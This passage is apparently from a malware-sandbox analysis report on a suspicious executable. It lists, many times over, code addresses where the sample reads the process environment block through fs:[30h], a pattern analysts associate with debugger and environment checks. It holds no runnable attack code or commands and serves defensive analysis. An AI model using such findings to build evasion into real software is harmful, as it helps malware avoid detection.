Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329A314A mov eax, dword ptr fs:[00000030h]	8_2_329A314A
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329A314A mov eax, dword ptr fs:[00000030h]	8_2_329A314A
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E5149 mov eax, dword ptr fs:[00000030h]	8_2_329E5149
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290A147 mov eax, dword ptr fs:[00000030h]	8_2_3290A147
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290A147 mov eax, dword ptr fs:[00000030h]	8_2_3290A147
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290A147 mov eax, dword ptr fs:[00000030h]	8_2_3290A147
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32916179 mov eax, dword ptr fs:[00000030h]	8_2_32916179
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3296717A mov eax, dword ptr fs:[00000030h]	8_2_3296717A
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3296717A mov eax, dword ptr fs:[00000030h]	8_2_3296717A
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32918690 mov eax, dword ptr fs:[00000030h]	8_2_32918690
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3299C691 mov eax, dword ptr fs:[00000030h]	8_2_3299C691
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329CF68C mov eax, dword ptr fs:[00000030h]	8_2_329CF68C
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920680 mov eax, dword ptr fs:[00000030h]	8_2_32920680
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920680 mov eax, dword ptr fs:[00000030h]	8_2_32920680
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920680 mov eax, dword ptr fs:[00000030h]	8_2_32920680
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920680 mov eax, dword ptr fs:[00000030h]	8_2_32920680
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920680 mov eax, dword ptr fs:[00000030h]	8_2_32920680
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920680 mov eax, dword ptr fs:[00000030h]	8_2_32920680
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920680 mov eax, dword ptr fs:[00000030h]	8_2_32920680
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920680 mov eax, dword ptr fs:[00000030h]	8_2_32920680
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920680 mov eax, dword ptr fs:[00000030h]	8_2_32920680
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920680 mov eax, dword ptr fs:[00000030h]	8_2_32920680
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920680 mov eax, dword ptr fs:[00000030h]	8_2_32920680
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920680 mov eax, dword ptr fs:[00000030h]	8_2_32920680
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329D86A8 mov eax, dword ptr fs:[00000030h]	8_2_329D86A8
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329D86A8 mov eax, dword ptr fs:[00000030h]	8_2_329D86A8
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293D6D0 mov eax, dword ptr fs:[00000030h]	8_2_3293D6D0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329DA6C0 mov eax, dword ptr fs:[00000030h]	8_2_329DA6C0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329106CF mov eax, dword ptr fs:[00000030h]	8_2_329106CF
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298C6F2 mov eax, dword ptr fs:[00000030h]	8_2_3298C6F2
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298C6F2 mov eax, dword ptr fs:[00000030h]	8_2_3298C6F2
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329096E0 mov eax, dword ptr fs:[00000030h]	8_2_329096E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329096E0 mov eax, dword ptr fs:[00000030h]	8_2_329096E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291C6E0 mov eax, dword ptr fs:[00000030h]	8_2_3291C6E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329156E0 mov eax, dword ptr fs:[00000030h]	8_2_329156E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329156E0 mov eax, dword ptr fs:[00000030h]	8_2_329156E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329156E0 mov eax, dword ptr fs:[00000030h]	8_2_329156E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329366E0 mov eax, dword ptr fs:[00000030h]	8_2_329366E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329366E0 mov eax, dword ptr fs:[00000030h]	8_2_329366E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329A3608 mov eax, dword ptr fs:[00000030h]	8_2_329A3608
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329A3608 mov eax, dword ptr fs:[00000030h]	8_2_329A3608
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329A3608 mov eax, dword ptr fs:[00000030h]	8_2_329A3608
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329A3608 mov eax, dword ptr fs:[00000030h]	8_2_329A3608
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329A3608 mov eax, dword ptr fs:[00000030h]	8_2_329A3608
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329A3608 mov eax, dword ptr fs:[00000030h]	8_2_329A3608
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293D600 mov eax, dword ptr fs:[00000030h]	8_2_3293D600
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293D600 mov eax, dword ptr fs:[00000030h]	8_2_3293D600
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329CF607 mov eax, dword ptr fs:[00000030h]	8_2_329CF607
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294360F mov eax, dword ptr fs:[00000030h]	8_2_3294360F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E4600 mov eax, dword ptr fs:[00000030h]	8_2_329E4600
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32910630 mov eax, dword ptr fs:[00000030h]	8_2_32910630
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32940630 mov eax, dword ptr fs:[00000030h]	8_2_32940630
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32917623 mov eax, dword ptr fs:[00000030h]	8_2_32917623
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32915622 mov eax, dword ptr fs:[00000030h]	8_2_32915622
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32915622 mov eax, dword ptr fs:[00000030h]	8_2_32915622
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329BD62C mov ecx, dword ptr fs:[00000030h]	8_2_329BD62C
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329BD62C mov ecx, dword ptr fs:[00000030h]	8_2_329BD62C
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329BD62C mov eax, dword ptr fs:[00000030h]	8_2_329BD62C
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32945654 mov eax, dword ptr fs:[00000030h]	8_2_32945654
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294265C mov eax, dword ptr fs:[00000030h]	8_2_3294265C
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294265C mov ecx, dword ptr fs:[00000030h]	8_2_3294265C
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294265C mov eax, dword ptr fs:[00000030h]	8_2_3294265C
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291965A mov eax, dword ptr fs:[00000030h]	8_2_3291965A
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291965A mov eax, dword ptr fs:[00000030h]	8_2_3291965A
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32913640 mov eax, dword ptr fs:[00000030h]	8_2_32913640
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3292F640 mov eax, dword ptr fs:[00000030h]	8_2_3292F640
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3292F640 mov eax, dword ptr fs:[00000030h]	8_2_3292F640
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3292F640 mov eax, dword ptr fs:[00000030h]	8_2_3292F640
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294C640 mov eax, dword ptr fs:[00000030h]	8_2_3294C640
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294C640 mov eax, dword ptr fs:[00000030h]	8_2_3294C640
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290D64A mov eax, dword ptr fs:[00000030h]	8_2_3290D64A
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290D64A mov eax, dword ptr fs:[00000030h]	8_2_3290D64A
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32910670 mov eax, dword ptr fs:[00000030h]	8_2_32910670
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32952670 mov eax, dword ptr fs:[00000030h]	8_2_32952670
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32952670 mov eax, dword ptr fs:[00000030h]	8_2_32952670
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32923660 mov eax, dword ptr fs:[00000030h]	8_2_32923660
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32923660 mov eax, dword ptr fs:[00000030h]	8_2_32923660
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32923660 mov eax, dword ptr fs:[00000030h]	8_2_32923660
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32907662 mov eax, dword ptr fs:[00000030h]	8_2_32907662
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32907662 mov eax, dword ptr fs:[00000030h]	8_2_32907662
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32907662 mov eax, dword ptr fs:[00000030h]	8_2_32907662
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294666D mov esi, dword ptr fs:[00000030h]	8_2_3294666D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294666D mov eax, dword ptr fs:[00000030h]	8_2_3294666D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294666D mov eax, dword ptr fs:[00000030h]	8_2_3294666D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32941796 mov eax, dword ptr fs:[00000030h]	8_2_32941796
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32941796 mov eax, dword ptr fs:[00000030h]	8_2_32941796
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298E79D mov eax, dword ptr fs:[00000030h]	8_2_3298E79D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298E79D mov eax, dword ptr fs:[00000030h]	8_2_3298E79D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298E79D mov eax, dword ptr fs:[00000030h]	8_2_3298E79D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298E79D mov eax, dword ptr fs:[00000030h]	8_2_3298E79D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298E79D mov eax, dword ptr fs:[00000030h]	8_2_3298E79D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298E79D mov eax, dword ptr fs:[00000030h]	8_2_3298E79D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298E79D mov eax, dword ptr fs:[00000030h]	8_2_3298E79D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298E79D mov eax, dword ptr fs:[00000030h]	8_2_3298E79D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298E79D mov eax, dword ptr fs:[00000030h]	8_2_3298E79D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329EB781 mov eax, dword ptr fs:[00000030h]	8_2_329EB781
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329EB781 mov eax, dword ptr fs:[00000030h]	8_2_329EB781
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E17BC mov eax, dword ptr fs:[00000030h]	8_2_329E17BC
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329107A7 mov eax, dword ptr fs:[00000030h]	8_2_329107A7
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329DD7A7 mov eax, dword ptr fs:[00000030h]	8_2_329DD7A7
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329DD7A7 mov eax, dword ptr fs:[00000030h]	8_2_329DD7A7
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329DD7A7 mov eax, dword ptr fs:[00000030h]	8_2_329DD7A7
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329CF7CF mov eax, dword ptr fs:[00000030h]	8_2_329CF7CF
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329177F9 mov eax, dword ptr fs:[00000030h]	8_2_329177F9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329177F9 mov eax, dword ptr fs:[00000030h]	8_2_329177F9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293E7E0 mov eax, dword ptr fs:[00000030h]	8_2_3293E7E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329137E4 mov eax, dword ptr fs:[00000030h]	8_2_329137E4
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329137E4 mov eax, dword ptr fs:[00000030h]	8_2_329137E4
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329137E4 mov eax, dword ptr fs:[00000030h]	8_2_329137E4
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329137E4 mov eax, dword ptr fs:[00000030h]	8_2_329137E4
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329137E4 mov eax, dword ptr fs:[00000030h]	8_2_329137E4
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329137E4 mov eax, dword ptr fs:[00000030h]	8_2_329137E4
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329137E4 mov eax, dword ptr fs:[00000030h]	8_2_329137E4
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291471B mov eax, dword ptr fs:[00000030h]	8_2_3291471B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291471B mov eax, dword ptr fs:[00000030h]	8_2_3291471B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329CF717 mov eax, dword ptr fs:[00000030h]	8_2_329CF717
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291D700 mov ecx, dword ptr fs:[00000030h]	8_2_3291D700
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290B705 mov eax, dword ptr fs:[00000030h]	8_2_3290B705
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290B705 mov eax, dword ptr fs:[00000030h]	8_2_3290B705
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290B705 mov eax, dword ptr fs:[00000030h]	8_2_3290B705
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290B705 mov eax, dword ptr fs:[00000030h]	8_2_3290B705
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329D970B mov eax, dword ptr fs:[00000030h]	8_2_329D970B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329D970B mov eax, dword ptr fs:[00000030h]	8_2_329D970B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293270D mov eax, dword ptr fs:[00000030h]	8_2_3293270D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293270D mov eax, dword ptr fs:[00000030h]	8_2_3293270D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293270D mov eax, dword ptr fs:[00000030h]	8_2_3293270D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32939723 mov eax, dword ptr fs:[00000030h]	8_2_32939723
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32932755 mov eax, dword ptr fs:[00000030h]	8_2_32932755
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32932755 mov eax, dword ptr fs:[00000030h]	8_2_32932755
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32932755 mov eax, dword ptr fs:[00000030h]	8_2_32932755
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32932755 mov ecx, dword ptr fs:[00000030h]	8_2_32932755
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32932755 mov eax, dword ptr fs:[00000030h]	8_2_32932755
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32932755 mov eax, dword ptr fs:[00000030h]	8_2_32932755
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F75B mov eax, dword ptr fs:[00000030h]	8_2_3290F75B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F75B mov eax, dword ptr fs:[00000030h]	8_2_3290F75B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F75B mov eax, dword ptr fs:[00000030h]	8_2_3290F75B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F75B mov eax, dword ptr fs:[00000030h]	8_2_3290F75B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F75B mov eax, dword ptr fs:[00000030h]	8_2_3290F75B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F75B mov eax, dword ptr fs:[00000030h]	8_2_3290F75B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F75B mov eax, dword ptr fs:[00000030h]	8_2_3290F75B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F75B mov eax, dword ptr fs:[00000030h]	8_2_3290F75B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F75B mov eax, dword ptr fs:[00000030h]	8_2_3290F75B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329BE750 mov eax, dword ptr fs:[00000030h]	8_2_329BE750
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32943740 mov eax, dword ptr fs:[00000030h]	8_2_32943740
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294174A mov eax, dword ptr fs:[00000030h]	8_2_3294174A
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32940774 mov eax, dword ptr fs:[00000030h]	8_2_32940774
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32914779 mov eax, dword ptr fs:[00000030h]	8_2_32914779
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32914779 mov eax, dword ptr fs:[00000030h]	8_2_32914779
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32922760 mov ecx, dword ptr fs:[00000030h]	8_2_32922760
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32951763 mov eax, dword ptr fs:[00000030h]	8_2_32951763
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32951763 mov eax, dword ptr fs:[00000030h]	8_2_32951763
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32951763 mov eax, dword ptr fs:[00000030h]	8_2_32951763
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32951763 mov eax, dword ptr fs:[00000030h]	8_2_32951763
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32951763 mov eax, dword ptr fs:[00000030h]	8_2_32951763
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32951763 mov eax, dword ptr fs:[00000030h]	8_2_32951763
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294B490 mov eax, dword ptr fs:[00000030h]	8_2_3294B490
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294B490 mov eax, dword ptr fs:[00000030h]	8_2_3294B490
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3299C490 mov eax, dword ptr fs:[00000030h]	8_2_3299C490
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32910485 mov ecx, dword ptr fs:[00000030h]	8_2_32910485
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294E4BC mov eax, dword ptr fs:[00000030h]	8_2_3294E4BC
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329124A2 mov eax, dword ptr fs:[00000030h]	8_2_329124A2
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329124A2 mov ecx, dword ptr fs:[00000030h]	8_2_329124A2
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3299D4A0 mov ecx, dword ptr fs:[00000030h]	8_2_3299D4A0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3299D4A0 mov eax, dword ptr fs:[00000030h]	8_2_3299D4A0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3299D4A0 mov eax, dword ptr fs:[00000030h]	8_2_3299D4A0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329444A8 mov eax, dword ptr fs:[00000030h]	8_2_329444A8
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329344D1 mov eax, dword ptr fs:[00000030h]	8_2_329344D1
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329344D1 mov eax, dword ptr fs:[00000030h]	8_2_329344D1
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293F4D0 mov eax, dword ptr fs:[00000030h]	8_2_3293F4D0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293F4D0 mov eax, dword ptr fs:[00000030h]	8_2_3293F4D0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293F4D0 mov eax, dword ptr fs:[00000030h]	8_2_3293F4D0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293F4D0 mov eax, dword ptr fs:[00000030h]	8_2_3293F4D0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293F4D0 mov eax, dword ptr fs:[00000030h]	8_2_3293F4D0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293F4D0 mov eax, dword ptr fs:[00000030h]	8_2_3293F4D0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293F4D0 mov eax, dword ptr fs:[00000030h]	8_2_3293F4D0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293F4D0 mov eax, dword ptr fs:[00000030h]	8_2_3293F4D0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293F4D0 mov eax, dword ptr fs:[00000030h]	8_2_3293F4D0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329314C9 mov eax, dword ptr fs:[00000030h]	8_2_329314C9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329314C9 mov eax, dword ptr fs:[00000030h]	8_2_329314C9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329314C9 mov eax, dword ptr fs:[00000030h]	8_2_329314C9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329314C9 mov eax, dword ptr fs:[00000030h]	8_2_329314C9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329314C9 mov eax, dword ptr fs:[00000030h]	8_2_329314C9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329CF4FD mov eax, dword ptr fs:[00000030h]	8_2_329CF4FD
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329164F0 mov eax, dword ptr fs:[00000030h]	8_2_329164F0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329394FA mov eax, dword ptr fs:[00000030h]	8_2_329394FA
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329454E0 mov eax, dword ptr fs:[00000030h]	8_2_329454E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294E4EF mov eax, dword ptr fs:[00000030h]	8_2_3294E4EF
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3294E4EF mov eax, dword ptr fs:[00000030h]	8_2_3294E4EF
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329CF409 mov eax, dword ptr fs:[00000030h]	8_2_329CF409
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290640D mov eax, dword ptr fs:[00000030h]	8_2_3290640D
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290B420 mov eax, dword ptr fs:[00000030h]	8_2_3290B420
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32947425 mov eax, dword ptr fs:[00000030h]	8_2_32947425
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32947425 mov ecx, dword ptr fs:[00000030h]	8_2_32947425
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3299F42F mov eax, dword ptr fs:[00000030h]	8_2_3299F42F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3299F42F mov eax, dword ptr fs:[00000030h]	8_2_3299F42F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3299F42F mov eax, dword ptr fs:[00000030h]	8_2_3299F42F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3299F42F mov eax, dword ptr fs:[00000030h]	8_2_3299F42F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3299F42F mov eax, dword ptr fs:[00000030h]	8_2_3299F42F
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291D454 mov eax, dword ptr fs:[00000030h]	8_2_3291D454
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291D454 mov eax, dword ptr fs:[00000030h]	8_2_3291D454
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291D454 mov eax, dword ptr fs:[00000030h]	8_2_3291D454
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291D454 mov eax, dword ptr fs:[00000030h]	8_2_3291D454
